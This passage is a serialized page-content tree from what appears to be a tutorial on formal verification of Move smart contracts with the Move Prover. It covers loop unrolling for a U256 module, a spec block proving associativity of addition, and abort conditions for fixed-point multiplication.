type":23,"tag":41,"props":11586,"children":11587},{"style":170},[11588],{"type":28,"value":3053},{"type":23,"tag":41,"props":11590,"children":11591},{"style":858},[11592],{"type":28,"value":3737},{"type":23,"tag":41,"props":11594,"children":11595},{"style":170},[11596],{"type":28,"value":1474},{"type":23,"tag":41,"props":11598,"children":11599},{"style":858},[11600],{"type":28,"value":8421},{"type":23,"tag":41,"props":11602,"children":11603},{"style":70},[11604],{"type":28,"value":312},{"type":23,"tag":41,"props":11606,"children":11607},{"style":858},[11608],{"type":28,"value":8654},{"type":23,"tag":41,"props":11610,"children":11611},{"style":70},[11612],{"type":28,"value":8659},{"type":23,"tag":41,"props":11614,"children":11615},{"style":170},[11616],{"type":28,"value":387},{"type":23,"tag":41,"props":11618,"children":11619},{"style":858},[11620],{"type":28,"value":8668},{"type":23,"tag":41,"props":11622,"children":11623},{"style":70},[11624],{"type":28,"value":312},{"type":23,"tag":41,"props":11626,"children":11627},{"style":858},[11628],{"type":28,"value":8654},{"type":23,"tag":41,"props":11630,"children":11631},{"style":70},[11632],{"type":28,"value":8659},{"type":23,"tag":41,"props":11634,"children":11635},{"style":170},[11636],{"type":28,"value":377},{"type":23,"tag":41,"props":11638,"children":11639},{"style":858},[11640],{"type":28,"value":8486},{"type":23,"tag":41,"props":11642,"children":11643},{"style":70},[11644],{"type":28,"value":183},{"type":23,"tag":41,"props":11646,"children":11647},{"class":43,"line":155},[11648],{"type":23,"tag":41,"props":11649,"children":11650},{"style":70},[11651],{"type":28,"value":8917},{"type":23,"tag":41,"props":11653,"children":11654},{"class":43,"line":186},[11655,11659,11663,11667,11671],{"type":23,"tag":41,"props":11656,"children":11657},{"style":70},[11658],{"type":28,"value":11249},{"type":23,"tag":41,"props":11660,"children":11661},{"style":858},[11662],{"type":28,"value":3737},{"type":23,"tag":41,"props":11664,"children":11665},{"style":170},[11666],{"type":28,"value":758},{"type":23,"tag":41,"props":11668,"children":11669},{"style":858},[11670],{"type":28,"value":8486},{"type":23,"tag":41,"props":11672,"children":11673},{"style":70},[11674],{"type":28,"value":1969},{"type":23,"tag":41,"props":11676,"children":11677},{"class":43,"line":195},[11678],{"type":23,"tag":41,"props":11679,"children":11680},{"style":70},[11681],{"type":28,"value":11273},{"type":23,"tag":24,"props":11683,"children":11684},{},[11685],{"type":28,"value":11686},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":24,"props":11688,"children":11689},{},[11690,11692,11697],{"type":28,"value":11691},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":37,"props":11693,"children":11695},{"className":11694},[],[11696],{"type":28,"value":9636},{"type":28,"value":11698}," function will always iterate exactly 4 times:",{"type":23,"tag":31,"props":11700,"children":11702},{"code":11701,"language":2981,"meta":7,"className":2982,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[11703],{"type":23,"tag":37,"props":11704,"children":11705},{"__ignoreMap":7},[11706,11714,11747,11754,11770,11777,11801,11825,11870,11914,11921],{"type":23,"tag":41,"props":11707,"children":11708},{"class":43,"line":44},[11709],{"type":23,"tag":41,"props":11710,"children":11711},{"style":48},[11712],{"type":28,"value":11713},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":41,"props":11715,"children":11716},{"class":43,"line":54},[11717,11721,11726,11730,11734,11738,11743],{"type":23,"tag":41,"props":11718,"children":11719},{"style":64},[11720],{"type":28,"value":846},{"type":23,"tag":41,"props":11722,"children":11723},{"style":70},[11724],{"type":28,"value":11725}," WORDS",{"type":23,"tag":41,"props":11727,"children":11728},{"style":170},[11729],{"type":28,"value":1474},{"type":23,"tag":41,"props":11731,"children":11732},{"style":94},[11733],{"type":28,"value":5860},{"type":23,"tag":41,"props":11735,"children":11736},{"style":170},[11737],{"type":28,"value":3017},{"type":23,"tag":41,"props":11739,"children":11740},{"style":164},[11741],{"type":28,"value":11742}," 4",{"type":23,"tag":41,"props":11744,"children":11745},{"style":70},[11746],{"type":28,"value":183},{"type":23,"tag":41,"props":11748,"children":11749},{"class":43,"line":76},[11750],{"type":23,"tag":41,"props":11751,"children":11752},{"emptyLinePlaceholder":18},[11753],{"type":28,"value":82},{"type":23,"tag":41,"props":11755,"children":11756},{"class":43,"line":85},[11757,11761,11765],{"type":23,"tag":41,"props":11758,"children":11759},{"style":70},[11760],{"type":28,"value":312},{"type":23,"tag":41,"props":11762,"children":11763},{"style":170},[11764],{"type":28,"value":9589},{"type":23,"tag":41,"props":11766,"children":11767},{"style":70},[11768],{"type":28,"value":11769},"]\n",{"type":23,"tag":41,"props":11771,"children":11772},{"class":43,"line":105},[11773],{"type":23,"tag":41,"props":11774,"children":11775},{"emptyLinePlaceholder":18},[11776],{"type":28,"value":82},{"type":23,"tag":41,"props":11778,"children":11779},{"class":43,"line":155},[11780,11785,11789,11793,11797],{"type":23,"tag":41,"props":11781,"children":11782},{"style":64},[11783],{"type":28,"value":11784},"let",{"type":23,"tag":41,"props":11786,"children":11787},{"style":858},[11788],{"type":28,"value":861},{"type":23,"tag":41,"props":11790,"children":11791},{"style":170},[11792],{"type":28,"value":3017},{"type":23,"tag":41,"props":11794,"children":11795},{"style":164},[11796],{"type":28,"value":392},{"type":23,"tag":41,"props":11798,"children":11799},{"style":70},[11800],{"type":28,"value":183},{"type":23,"tag":41,"props":11802,"children":11803},{"class":43,"line":186},[11804,11808,11812,11816,11820],{"type":23,"tag":41,"props":11805,"children":11806},{"style":58},[11807],{"type":28,"value":11458},{"type":23,"tag":41,"props":11809,"children":11810},{"style":70},[11811],{"type":28,"value":142},{"type":23,"tag":41,"props":11813,"children":11814},{"style":858},[11815],{"type":28,"value":3737},{"type":23,"tag":41,"props":11817,"children":11818},{"style":170},[11819],{"type":28,"value":758},{"type":23,"tag":41,"props":11821,"children":11822},{"style":70},[11823],{"type":28,"value":11824}," WORDS) {\n",{"type":23,"tag":41,"props":11826,"children":11827},{"class":43,"line":195},[11828,11832,11837,11841,11846,11850,11854,11858,11862,11866],{"type":23,"tag":41,"props":11829,"children":11830},{"style":64},[11831],{"type":28,"value":3002},{"type":23,"tag":41,"props":11833,"children":11834},{"style":858},[11835],{"type":28,"value":11836}," a1",{"type":23,"tag":41,"props":11838,"children":11839},{"style":170},[11840],{"type":28,"value":3017},{"type":23,"tag":41,"props":11842,"children":11843},{"style":114},[11844],{"type":28,"value":11845}," get",{"type":23,"tag":41,"props":11847,"children":11848},{"style":70},[11849],{"type":28,"value":1737},{"type":23,"tag":41,"props":11851,"children":11852},{"style":170},[11853],{"type":28,"value":855},{"type":23,"tag":41,"props":11855,"children":11856},{"style":858},[11857],{"type":28,"value":458},{"type":23,"tag":41,"props":11859,"children":11860},{"style":70},[11861],{"type":28,"value":970},{"type":23,"tag":41,"props":11863,"children":11864},{"style":858},[11865],{"type":28,"value":3737},{"type":23,"tag":41,"props":11867,"children":11868},{"style":70},[11869],{"type":28,"value":3825},{"type":23,"tag":41,"props":11871,"children":11872},{"class":43,"line":905},[11873,11877,11882,11886,11890,11894,11898,11902,11906,11910],{"type":23,"tag":41,"props":11874,"children":11875},{"style":64},[11876],{"type":28,"value":3002},{"type":23,"tag":41,"props":11878,"children":11879},{"style":858},[11880],{"type":28,"value":11881}," b1",{"type":23,"tag":41,"props":11883,"children":11884},{"style":170},[11885],{"type":28,"value":3017},{"type":23,"tag":41,"props":11887,"children":11888},{"style":114},[11889],{"type":28,"value":11845},{"type":23,"tag":41,"props":11891,"children":11892},{"style":70},[11893],{"type":28,"value":1737},{"type":23,"tag":41,"props":11895,"children":11896},{"style":170},[11897],{"type":28,"value":855},{"type":23,"tag":41,"props":11899,"children":11900},{"style":858},[11901],{"type":28,"value":3222},{"type":23,"tag":41,"props":11903,"children":11904},{"style":70},[11905],{"type":28,"value":970},{"type":23,"tag":41,"props":11907,"children":11908},{"style":858},[11909],{"type":28,"value":3737},{"type":23,"tag":41,"props":11911,"children":11912},{"style":70},[11913],{"type":28,"value":3825},{"type":23,"tag":41,"props":11915,"children":11916},{"class":43,"line":922},[11917],{"type":23,"tag":41,"props":11918,"children":11919},{"emptyLinePlaceholder":18},[11920],{"type":28,"value":82},{"type":23,"tag":41,"props":11922,"children":11923},{"class":43,"line":930},[11924,11928,11932],{"type":23,"tag":41,"props":11925,"children":11926},{"style":70},[11927],{"type":28,"value":312},{"type":23,"tag":41,"props":11929,"children":11930},{"style":170},[11931],{"type":28,"value":9589},{"type":23,"tag":41,"props":11933,"children":11934},{"style":70},[11935],{"type":28,"value":11769},{"type":23,"tag":24,"props":11937,"children":11938},{},[11939],{"type":28,"value":11940},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":31,"props":11942,"children":11944},{"code":11943},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[11945],{"type":23,"tag":37,"props":11946,"children":11947},{"__ignoreMap":7},[11948],{"type":28,"value":11943},{"type":23,"tag":24,"props":11950,"children":11951},{},[11952,11954,11959,11960,11966],{"type":28,"value":11953},"For the ",{"type":23,"tag":510,"props":11955,"children":11956},{},[11957],{"type":28,"value":11958},"Associative Property",{"type":28,"value":142},{"type":23,"tag":37,"props":11961,"children":11963},{"className":11962},[],[11964],{"type":28,"value":11965},"a+(b+c) = (a+b)+c",{"type":28,"value":11967},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":31,"props":11969,"children":11971},{"code":11970,"language":2981,"meta":7,"className":2982,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[11972],{"type":23,"tag":37,"props":11973,"children":11974},{"__ignoreMap":7},[11975,12052,12091,12132,12171,12212,12219,12269,12308],{"type":23,"tag":41,"props":11976,"children":11977},{"class":43,"line":44},[11978,11982,11987,11991,11995,11999,12003,12007,12011,12015,12019,12023,12027,12031,12035,12039,12043,12048],{"type":23,"tag":41,"props":11979,"children":11980},{"style":858},[11981],{"type":28,"value":7106},{"type":23,"tag":41,"props":11983,"children":11984},{"style":114},[11985],{"type":28,"value":11986}," add_assoc_property",{"type":23,"tag":41,"props":11988,"children":11989},{"style":70},[11990],{"type":28,"value":1737},{"type":23,"tag":41,"props":11992,"children":11993},{"style":858},[11994],{"type":28,"value":458},{"type":23,"tag":41,"props":11996,"children":11997},{"style":170},[11998],{"type":28,"value":1474},{"type":23,"tag":41,"props":12000,"children":12001},{"style":94},[12002],{"type":28,"value":4729},{"type":23,"tag":41,"props":12004,"children":12005},{"style":70},[12006],{"type":28,"value":970},{"type":23,"tag":41,"props":12008,"children":12009},{"style":858},[12010],{"type":28,"value":3222},{"type":23,"tag":41,"props":12012,"children":12013},{"style":170},[12014],{"type":28,"value":1474},{"type":23,"tag":41,"props":12016,"children":12017},{"style":94},[12018],{"type":28,"value":4729},{"type":23,"tag":41,"props":12020,"children":12021},{"style":70},[12022],{"type":28,"value":970},{"type":23,"tag":41,"props":12024,"children":12025},{"style":858},[12026],{"type":28,"value":3146},{"type":23,"tag":41,"props":12028,"children":12029},{"style":170},[12030],{"type":28,"value":1474},{"type":23,"tag":41,"props":12032,"children":12033},{"style":94},[12034],{"type":28,"value":4729},{"type":23,"tag":41,"props":12036,"children":12037},{"style":70},[12038],{"type":28,"value":2678},{"type":23,"tag":41,"props":12040,"children":12041},{"style":170},[12042],{"type":28,"value":1474},{"type":23,"tag":41,"props":12044,"children":12045},{"style":94},[12046],{"type":28,"value":12047}," bool",{"type":23,"tag":41,"props":12049,"children":12050},{"style":70},[12051],{"type":28,"value":102},{"type":23,"tag":41,"props":12053,"children":12054},{"class":43,"line":54},[12055,12059,12063,12067,12071,12075,12079,12083,12087],{"type":23,"tag":41,"props":12056,"children":12057},{"style":64},[12058],{"type":28,"value":3002},{"type":23,"tag":41,"props":12060,"children":12061},{"style":858},[12062],{"type":28,"value":8191},{"type":23,"tag":41,"props":12064,"children":12065},{"style":170},[12066],{"type":28,"value":3017},{"type":23,"tag":41,"props":12068,"children":12069},{"style":114},[12070],{"type":28,"value":9579},{"type":23,"tag":41,"props":12072,"children":12073},{"style":70},[12074],{"type":28,"value":1737},{"type":23,"tag":41,"props":12076,"children":12077},{"style":858},[12078],{"type":28,"value":3222},{"type":23,"tag":41,"props":12080,"children":12081},{"style":70},[12082],{"type":28,"value":970},{"type":23,"tag":41,"props":12084,"children":12085},{"style":858},[12086],{"type":28,"value":3146},{"type":23,"tag":41,"props":12088,"children":12089},{"style":70},[12090],{"type":28,"value":3825},{"type":23,"tag":41,"props":12092,"children":12093},{"class":43,"line":76},[12094,12098,12103,12107,12111,12115,12119,12123,12128],{"type":23,"tag":41,"props":12095,"children":12096},{"style":64},[12097],{"type":28,"value":3002},{"type":23,"tag":41,"props":12099,"children":12100},{"style":858},[12101],{"type":28,"value":12102}," result_11",{"type":23,"tag":41,"props":12104,"children":12105},{"style":170},[12106],{"type":28,"value":3017},{"type":23,"tag":41,"props":12108,"children":12109},{"style":114},[12110],{"type":28,"value":9579},{"type":23,"tag":41,"props":12112,"children":12113},{"style":70},[12114],{"type":28,"value":1737},{"type":23,"tag":41,"props":12116,"children":12117},{"style":858},[12118],{"type":28,"value":458},{"type":23,"tag":41,"props":12120,"children":12121},{"style":70},[12122],{"type":28,"value":970},{"type":23,"tag":41,"props":12124,"children":12125},{"style":858},[12126],{"type":28,"value":12127},"result_1",{"type":23,"tag":41,"props":12129,"children":12130},{"style":70},[12131],{"type":28,"value":3825},{"type":23,"tag":41,"props":12133,"children":12134},{"class":43,"line":85},[12135,12139,12143,12147,12151,12155,12159,12163,12167],{"type":23,"tag":41,"props":12136,"children":12137},{"style":64},[12138],{"type":28,"value":3002},{"type":23,"tag":41,"props":12140,"children":12141},{"style":858},[12142],{"type":28,"value":8217},{"type":23,"tag":41,"props":12144,"children":12145},{"style":170},[12146],{"type":28,"value":3017},{"type":23,"tag":41,"props":12148,"children":12149},{"style":114},[12150],{"type":28,"value":9579},{"type":23,"tag":41,"props":12152,"children":12153},{"style":70},[12154],{"type":28,"value":1737},{"type":23,"tag":41,"props":12156,"children":12157},{"style":858},[12158],{"type":28,"value":458},{"type":23,"tag":41,"props":12160,"children":12161},{"style":70},[12162],{"type":28,"value":970},{"type":23,"tag":41,"props":12164,"children":12165},{"style":858},[12166],{"type":28,"value":3222},{"type":23,"tag":41,"props":12168,"children":12169},{"style":70},[12170],{"type":28,"value":3825},{"type":23,"tag":41,"props":12172,"children":12173},{"class":43,"line":105},[12174,12178,12183,12187,12191,12195,12199,12203,12208],{"type":23,"tag":41,"props":12175,"children":12176},{"style":64},[12177],{"type":28,"value":3002},{"type":23,"tag":41,"props":12179,"children":12180},{"style":858},[12181],{"type":28,"value":12182}," result_22",{"type":23,"tag":41,"props":12184,"children":12185},{"style":170},[12186],{"type":28,"value":3017},{"type":23,"tag":41,"props":12188,"children":12189},{"style":114},[12190],{"type":28,"value":9579},{"type":23,"tag":41,"props":12192,"children":12193},{"style":70},[12194],{"type":28,"value":1737},{"type":23,"tag":41,"props":12196,"children":12197},{"style":858},[12198],{"type":28,"value":3146},{"type":23,"tag":41,"props":12200,"children":12201},{"style":70},[12202],{"type":28,"value":970},{"type":23,"tag":41,"props":12204,"children":12205},{"style":858},[12206],{"type":28,"value":12207},"result_2",{"type":23,"tag":41,"props":12209,"children":12210},{"style":70},[12211],{"type":28,"value":3825},{"type":23,"tag":41,"props":12213,"children":12214},{"class":43,"line":155},[12215],{"type":23,"tag":41,"props":12216,"children":12217},{"emptyLinePlaceholder":18},[12218],{"type":28,"value":82},{"type":23,"tag":41,"props":12220,"children":12221},{"class":43,"line":186},[12222,12226,12230,12234,12239,12243,12247,12252,12256,12260,12265],{"type":23,"tag":41,"props":12223,"children":12224},{"style":64},[12225],{"type":28,"value":3002},{"type":23,"tag":41,"props":12227,"children":12228},{"style":858},[12229],{"type":28,"value":7860},{"type":23,"tag":41,"props":12231,"children":12232},{"style":170},[12233],{"type":28,"value":3017},{"type":23,"tag":41,"props":12235,"children":12236},{"style":114},[12237],{"type":28,"value":12238}," compare",{"type":23,"tag":41,"props":12240,"children":12241},{"style":70},[12242],{"type":28,"value":1737},{"type":23,"tag":41,"props":12244,"children":12245},{"style":170},[12246],{"type":28,"value":855},{"type":23,"tag":41,"props":12248,"children":12249},{"style":858},[12250],{"type":28,"value":12251},"result_11",{"type":23,"tag":41,"props":12253,"children":12254},{"style":70},[12255],{"type":28,"value":970},{"type":23,"tag":41,"props":12257,"children":12258},{"style":170},[12259],{"type":28,"value":855},{"type":23,"tag":41,"props":12261,"children":12262},{"style":858},[12263],{"type":28,"value":12264},"result_22",{"type":23,"tag":41,"props":12266,"children":12267},{"style":70},[12268],{"type":28,"value":3825},{"type":23,"tag":41,"props":12270,"children":12271},{"class":43,"line":195},[12272,12276,12281,12285,12289,12294,12298,12303],{"type":23,"tag":41,"props":12273,"children":12274},{"style":58},[12275],{"type":28,"value":2440},{"type":23,"tag":41,"props":12277,"children":12278},{"style":70},[12279],{"type":28,"value":12280}," ( ",{"type":23,"tag":41,"props":12282,"children":12283},{"style":858},[12284],{"type":28,"value":7925},{"type":23,"tag":41,"props":12286,"children":12287},{"style":170},[12288],{"type":28,"value":3282},{"type":23,"tag":41,"props":12290,"children":12291},{"style":70},[12292],{"type":28,"value":12293}," EQUAL ) ",{"type":23,"tag":41,"props":12295,"children":12296},{"style":64},[12297],{"type":28,"value":3996},{"type":23,"tag":41,"props":12299,"children":12300},{"style":58},[12301],{"type":28,"value":12302}," else",{"type":23,"tag":41,"props":12304,"children":12305},{"style":64},[12306],{"type":28,"value":12307}," false\n",{"type":23,"tag":41,"props":12309,"children":12310},{"class":43,"line":905},[12311],{"type":23,"tag":41,"props":12312,"children":12313},{"style":70},[12314],{"type":28,"value":201},{"type":23,"tag":24,"props":12316,"children":12317},{},[12318],{"type":28,"value":12319},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":31,"props":12321,"children":12323},{"code":12322,"language":2981,"meta":7,"className":2982,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[12324],{"type":23,"tag":37,"props":12325,"children":12326},{"__ignoreMap":7},[12327,12342,12446,12469],{"type":23,"tag":41,"props":12328,"children":12329},{"class":43,"line":44},[12330,12334,12338],{"type":23,"tag":41,"props":12331,"children":12332},{"style":858},[12333],{"type":28,"value":8274},{"type":23,"tag":41,"props":12335,"children":12336},{"style":858},[12337],{"type":28,"value":11986},{"type":23,"tag":41,"props":12339,"children":12340},{"style":70},[12341],{"type":28,"value":102},{"type":23,"tag":41,"props":12343,"children":12344},{"class":43,"line":54},[12345,12349,12353,12358,12362,12366,12370,12374,12378,12382,12386,12390,12394,12398,12402,12406,12410,12414,12418,12422,12426,12430,12434,12438,12442],{"type":23,"tag":41,"props":12346,"children":12347},{"style":858},[12348],{"type":28,"value":9900},{"type":23,"tag":41,"props":12350,"children":12351},{"style":70},[12352],{"type":28,"value":142},{"type":23,"tag":41,"props":12354,"children":12355},{"style":114},[12356],{"type":28,"value":12357},"value_of_U256",{"type":23,"tag":41,"props":12359,"children":12360},{"style":70},[12361],{"type":28,"value":1737},{"type":23,"tag":41,"props":12363,"children":12364},{"style":858},[12365],{"type":28,"value":458},{"type":23,"tag":41,"props":12367,"children":12368},{"style":70},[12369],{"type":28,"value":866},{"type":23,"tag":41,"props":12371,"children":12372},{"style":170},[12373],{"type":28,"value":4383},{"type":23,"tag":41,"props":12375,"children":12376},{"style":114},[12377],{"type":28,"value":9701},{"type":23,"tag":41,"props":12379,"children":12380},{"style":70},[12381],{"type":28,"value":1737},{"type":23,"tag":41,"props":12383,"children":12384},{"style":858},[12385],{"type":28,"value":3222},{"type":23,"tag":41,"props":12387,"children":12388},{"style":70},[12389],{"type":28,"value":1746},{"type":23,"tag":41,"props":12391,"children":12392},{"style":170},[12393],{"type":28,"value":4383},{"type":23,"tag":41,"props":12395,"children":12396},{"style":114},[12397],{"type":28,"value":9701},{"type":23,"tag":41,"props":12399,"children":12400},{"style":70},[12401],{"type":28,"value":1737},{"type":23,"tag":41,"props":12403,"children":12404},{"style":858},[12405],{"type":28,"value":3146},{"type":23,"tag":41,"props":12407,"children":12408},{"style":70},[12409],{"type":28,"value":866},{"type":23,"tag":41,"props":12411,"children":12412},{"style":170},[12413],{"type":28,"value":9941},{"type":23,"tag":41,"props":12415,"children":12416},{"style":94},[12417],{"type":28,"value":9657},{"type":23,"tag":41,"props":12419,"children":12420},{"style":170},[12421],{"type":28,"value":9814},{"type":23,"tag":41,"props":12423,"children":12424},{"style":94},[12425],{"type":28,"value":9657},{"type":23,"tag":41,"props":12427,"children":12428},{"style":170},[12429],{"type":28,"value":9814},{"type":23,"tag":41,"props":12431,"children":12432},{"style":94},[12433],{"type":28,"value":9657},{"type":23,"tag":41,"props":12435,"children":12436},{"style":170},[12437],{"type":28,"value":9814},{"type":23,"tag":41,"props":12439,"children":12440},{"style":94},[12441],{"type":28,"value":9657},{"type":23,"tag":41,"props":12443,"children":12444},{"style":70},[12445],{"type":28,"value":183},{"type":23,"tag":41,"props":12447,"children":12448},{"class":43,"line":76},[12449,12453,12457,12461,12465],{"type":23,"tag":41,"props":12450,"children":12451},{"style":858},[12452],{"type":28,"value":10198},{"type":23,"tag":41,"props":12454,"children":12455},{"style":858},[12456],{"type":28,"value":9157},{"type":23,"tag":41,"props":12458,"children":12459},{"style":170},[12460],{"type":28,"value":3282},{"type":23,"tag":41,"props":12462,"children":12463},{"style":64},[12464],{"type":28,"value":915},{"type":23,"tag":41,"props":12466,"children":12467},{"style":70},[12468],{"type":28,"value":183},{"type":23,"tag":41,"props":12470,"children":12471},{"class":43,"line":85},[12472],{"type":23,"tag":41,"props":12473,"children":12474},{"style":70},[12475],{"type":28,"value":201},{"type":23,"tag":24,"props":12477,"children":12478},{},[12479],{"type":28,"value":12480},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":31,"props":12482,"children":12483},{"code":11943},[12484],{"type":23,"tag":37,"props":12485,"children":12486},{"__ignoreMap":7},[12487],{"type":28,"value":11943},{"type":23,"tag":24,"props":12489,"children":12490},{},[12491,12493,12500],{"type":28,"value":12492},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":458,"props":12494,"children":12497},{"href":12495,"rel":12496},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[462],[12498],{"type":28,"value":12499},"spec-lang.md",{"type":28,"value":12501}," in the Move Repository.",{"type":23,"tag":446,"props":12503,"children":12505},{"id":12504},"use-cases",[12506],{"type":28,"value":12507},"Use Cases",{"type":23,"tag":24,"props":12509,"children":12510},{},[12511],{"type":28,"value":12512},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":24,"props":12514,"children":12515},{},[12516],{"type":28,"value":12517},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":546,"props":12519,"children":12521},{"id":12520},"error-conditions",[12522],{"type":28,"value":12523},"Error Conditions",{"type":23,"tag":24,"props":12525,"children":12526},{},[12527,12529,12535],{"type":28,"value":12528},"Taking an example from ",{"type":23,"tag":37,"props":12530,"children":12532},{"className":12531},[],[12533],{"type":28,"value":12534},"std::fixed_point32",{"type":28,"value":12536},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":31,"props":12538,"children":12540},{"code":12539,"language":2981,"meta":7,"className":2982,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[12541],{"type":23,"tag":37,"props":12542,"children":12543},{"__ignoreMap":7},[12544,12565,12585,12606,12652,12660,12723,12762],{"type":23,"tag":41,"props":12545,"children":12546},{"class":43,"line":44},[12547,12551,12556,12561],{"type":23,"tag":41,"props":12548,"children":12549},{"style":858},[12550],{"type":28,"value":8925},{"type":23,"tag":41,"props":12552,"children":12553},{"style":858},[12554],{"type":28,"value":12555}," schema",{"type":23,"tag":41,"props":12557,"children":12558},{"style":94},[12559],{"type":28,"value":12560}," MultiplyAbortsIf",{"type":23,"tag":41,"props":12562,"children":12563},{"style":70},[12564],{"type":28,"value":102},{"type":23,"tag":41,"props":12566,"children":12567},{"class":43,"line":54},[12568,12573,12577,12581],{"type":23,"tag":41,"props":12569,"children":12570},{"style":858},[12571],{"type":28,"value":12572},"          val",{"type":23,"tag":41,"props":12574,"children":12575},{"style":170},[12576],{"type":28,"value":1474},{"type":23,"tag":41,"props":12578,"children":12579},{"style":858},[12580],{"type":28,"value":9730},{"type":23,"tag":41,"props":12582,"children":12583},{"style":70},[12584],{"type":28,"value":183},{"type":23,"tag":41,"props":12586,"children":12587},{"class":43,"line":76},[12588,12593,12597,12602],{"type":23,"tag":41,"props":12589,"children":12590},{"style":858},[12591],{"type":28,"value":12592},"          multiplier",{"type":23,"tag":41,"props":12594,"children":12595},{"style":170},[12596],{"type":28,"value":1474},{"type":23,"tag":41,"props":12598,"children":12599},{"style":94},[12600],{"type":28,"value":12601}," FixedPoint32",{"type":23,"tag":41,"props":12603,"children":12604},{"style":70},[12605],{"type":28,"value":183},{"type":23,"tag":41,"props":12607,"children":12608},{"class":43,"line":85},[12609,12614,12619,12623,12628,12632,12637,12642,12647],{"type":23,"tag":41,"props":12610,"children":12611},{"style":858},[12612],{"type":28,"value":12613},"          aborts_if",{"type":23,"tag":41,"props":12615,"children":12616},{"style":114},[12617],{"type":28,"value":12618}," spec_multiply_u64",{"type":23,"tag":41,"props":12620,"children":12621},{"style":70},[12622],{"type":28,"value":1737},{"type":23,"tag":41,"props":12624,"children":12625},{"style":858},[12626],{"type":28,"value":12627},"val",{"type":23,"tag":41,"props":12629,"children":12630},{"style":70},[12631],{"type":28,"value":970},{"type":23,"tag":41,"props":12633,"children":12634},{"style":858},[12635],{"type":28,"value":12636},"multiplier",{"type":23,"tag":41,"props":12638,"children":12639},{"style":70},[12640],{"type":28,"value":12641},") > MAX_U64 ",{"type":23,"tag":41,"props":12643,"children":12644},{"style":858},[12645],{"type":28,"value":12646},"with",{"type":23,"tag":41,"props":12648,"children":12649},{"style":70},[12650],{"type":28,"value":12651}," EMULTIPLICATION;\n",{"type":23,"tag":41,"props":12653,"children":12654},{"class":43,"line":105},[12655],{"type":23,"tag":41,"props":12656,"children":12657},{"style":70},[12658],{"type":28,"value":12659},"      }\n",{"type":23,"tag":41,"props":12661,"children":12662},{"class":43,"line":155},[12663,12667,12671,12675,12679,12683,12687,12691,12695,12699,12703,12707,12711,12715,12719],{"type":23,"tag":41,"props":12664,"children":12665},{"style":858},[12666],{"type":28,"value":8925},{"type":23,"tag":41,"props":12668,"children":12669},{"style":858},[12670],{"type":28,"value":6205},{"type":23,"tag":41,"props":12672,"children":12673},{"style":114},[12674],{"type":28,"value":12618},{"type":23,"tag":41,"props":12676,"children":12677},{"style":70},[12678],{"type":28,"value":1737},{"type":23,"tag":41,"props":12680,"children":12681},{"style":858},[12682],{"type":28,"value":12627},{"type":23,"tag":41,"props":12684,"children":12685},{"style":170},[12686],{"type":28,"value":1474},{"type":23,"tag":41,"props":12688,"children":12689},{"style":858},[12690],{"type":28,"value":9730},{"type":23,"tag":41,"props":12692,"children":12693},{"style":70},[12694],{"type":28,"value":970},{"type":23,"tag":41,"props":12696,"children":12697},{"style":858},[12698],{"type":28,"value":12636},{"type":23,"tag":41,"props":12700,"children":12701},{"style":170},[12702],{"type":28,"value":1474},{"type":23,"tag":41,"props":12704,"children":12705},{"style":94},[12706],{"type":28,"value":12601},{"type":23,"tag":41,"props":12708,"children":12709},{"style":70},[12710],{"type":28,"value":2678},{"type":23,"tag":41,"props":12712,"children":12713},{"style":170},[12714],{"type":28,"value":1474},{"type":23,"tag":41,"props":12716,"children":12717},{"style":858},[12718],{"type":28,"value":9730},{"type":23,"tag":41,"props":12720,"children":12721},{"style":70},[12722],{"type":28,"value":102},{"type":23,"tag":41,"props":12724,"children":12725},{"class":43,"line":186},[12726,12730,12734,12738,12743,12747,12752,12757],{"type":23,"tag":41,"props":12727,"children":12728},{"style":70},[12729],{"type":28,"value":8708},{"type":23,"tag":41,"props":12731,"children":12732},{"style":858},[12733],{"type":28,"value":12627},{"type":23,"tag":41,"props":12735,"children":12736},{"style":170},[12737],{"type":28,"value":9814},{"type":23,"tag":41,"props":12739,"children":12740},{"style":858},[12741],{"type":28,"value":12742}," multiplier",{"type":23,"tag":41,"props":12744,"children":12745},{"style":170},[12746],{"type":28,"value":706},{"type":23,"tag":41,"props":12748,"children":12749},{"style":70},[12750],{"type":28,"value":12751},"value) ",{"type":23,"tag":41,"props":12753,"children":12754},{"style":170},[12755],{"type":28,"value":12756},">>",{"type":23,"tag":41,"props":12758,"children":12759},{"style":164},[12760],{"type":28,"value":12761}," 